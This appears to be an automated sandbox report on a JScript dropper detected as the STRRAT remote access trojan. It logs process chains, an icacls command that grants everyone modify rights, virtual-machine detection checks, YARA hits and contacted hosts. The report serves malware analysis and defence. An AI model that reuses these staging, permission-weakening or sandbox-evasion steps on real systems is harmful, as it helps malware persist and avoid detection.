Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Code function: 1_3_154DEAFF pushad ; iretd 1_3_154DEB05
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Code function: 1_3_154D02F4 push 0000004Ah; retf 1_3_154D02F6
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Code function: 1_3_154D02F4 push 0000004Ah; retf 1_3_154D02F6
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Code function: 1_2_02CA5E09 push edi; retf 0002h 1_2_02CA5E0A
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Code function: 1_2_02CB23ED push es; retn 0001h 1_2_02CB24FF
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Code function: 1_2_02CA9091 push cs; retf 1_2_02CA90B1
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Code function: 1_2_02C0D8F7 push 00000000h; mov dword ptr [esp], esp 1_2_02C0D921
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Code function: 1_2_02C0A20A push ecx; ret 1_2_02C0A21A
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Code function: 1_2_02C0A21B push ecx; ret 1_2_02C0A225
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Code function: 1_2_02C0B3B7 push 00000000h; mov dword ptr [esp], esp 1_2_02C0B3DD
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Code function: 1_2_02C0BB67 push 00000000h; mov dword ptr [esp], esp 1_2_02C0BB8D
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Code function: 1_2_02C0D8E0 push 00000000h; mov dword ptr [esp], esp 1_2_02C0D921
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Code function: 1_2_02C0B947 push 00000000h; mov dword ptr [esp], esp 1_2_02C0B96D
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Code function: 1_2_02C0C477 push 00000000h; mov dword ptr [esp], esp 1_2_02C0C49D
Uses cacls to modify the permissions of files
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Process created: C:\Windows\SysWOW64\icacls.exe C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Contains functionality to detect virtual machines (SLDT)
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Code function: 1_3_154DC38C sldt word ptr [eax] 1_3_154DC38C
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Source: javaw.exe, 00000001.00000003.1833988920.000000001526F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: com/sun/corba/se/impl/util/SUNVMCID.classPK
Source: javaw.exe, 00000001.00000003.1833988920.000000001526F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: &com/sun/corba/se/impl/util/SUNVMCID.classPK
Source: wscript.exe, 00000000.00000002.1820889720.0000024FD4F37000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}8b}\b
Source: javaw.exe, 00000001.00000002.3083191582.0000000001318000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: [Ljava/lang/VirtualMachineError;
Source: javaw.exe, 00000001.00000003.1833988920.000000001526F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: org/omg/CORBA/OMGVMCID.classPK
Source: javaw.exe, 00000001.00000002.3083191582.0000000001318000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: cjava/lang/VirtualMachineError
Source: javaw.exe, 00000001.00000003.1833988920.000000001526F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: java/lang/VirtualMachineError.classPK
Source: javaw.exe, 00000001.00000002.3083191582.0000000001318000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Memory protected: page read and write | page guard Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\wscript.exe Process created: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe "C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe" -jar "C:\Users\user\AppData\Roaming\oqljufxb.txt" Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Process created: C:\Windows\SysWOW64\icacls.exe C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M Jump to behavior
Contains functionality to query CPU information (cpuid)
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Code function: 1_2_02C003C0 cpuid 1_2_02C003C0
Queries the installed Java version
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\JavaSoft\Java Runtime Environment CurrentVersion Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\JavaSoft\Java Runtime Environment CurrentVersion Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Queries volume information: C:\Program Files (x86)\Java\jre-1.8\bin\java.dll VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Queries volume information: C:\Program Files (x86)\Java\jre-1.8\bin\client\jvm.dll VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Queries volume information: C:\Program Files (x86)\Java\jre-1.8\bin\java.dll VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Queries volume information: C:\Program Files (x86)\Java\jre-1.8\bin\java.dll VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Queries volume information: C:\Users\user\AppData\Local\Temp\hsperfdata_user\1900 VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Queries volume information: C:\Program Files (x86)\Java\jre-1.8\lib\resources.jar VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Queries volume information: C:\Program Files (x86)\Java\jre-1.8\lib\jsse.jar VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Queries volume information: C:\Program Files (x86)\Java\jre-1.8\lib\meta-index VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Queries volume information: C:\Users\user\3601lock.file VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected STRRAT
Source: Yara match File source: 00000001.00000002.3084950131.000000000A369000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: javaw.exe PID: 1900, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected STRRAT
Source: Yara match File source: 00000001.00000002.3084950131.000000000A369000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: javaw.exe PID: 1900, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1540038 Sample: YPcqnc0z06.js Startdate: 23/10/2024 Architecture: WINDOWS Score: 100 22 repo1.maven.org 2->22 24 github.com 2->24 26 dualstack.sonatype.map.fastly.net 2->26 34 Found malware configuration 2->34 36 Malicious sample detected (through community Yara rule) 2->36 38 Multi AV Scanner detection for submitted file 2->38 40 5 other signatures 2->40 9 wscript.exe 1 2 2->9         started        signatures3 process4 file5 20 C:\Users\user\AppData\Roaming\oqljufxb.txt, Zip 9->20 dropped 42 JScript performs obfuscated calls to suspicious functions 9->42 44 Windows Scripting host queries suspicious COM object (likely to drop second stage) 9->44 13 javaw.exe 23 9->13         started        signatures6 process7 dnsIp8 28 140.82.121.3, 443, 49951, 49989 GITHUBUS United States 13->28 30 github.com 140.82.121.4, 443, 49731, 49740 GITHUBUS United States 13->30 32 2 other IPs or domains 13->32 16 icacls.exe 1 13->16         started        process9 process10 18 conhost.exe 16->18         started       
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
199.232.192.209
 unknown United States
54113 FASTLYUS false
140.82.121.3
 unknown United States
36459 GITHUBUS false
140.82.121.4
 github.com United States
36459 GITHUBUS false
199.232.196.209
 dualstack.sonatype.map.fastly.net United States
54113 FASTLYUS false

Contacted Domains

Name IP Active
github.com 140.82.121.4 true
dualstack.sonatype.map.fastly.net 199.232.196.209 true
repo1.maven.org unknown unknown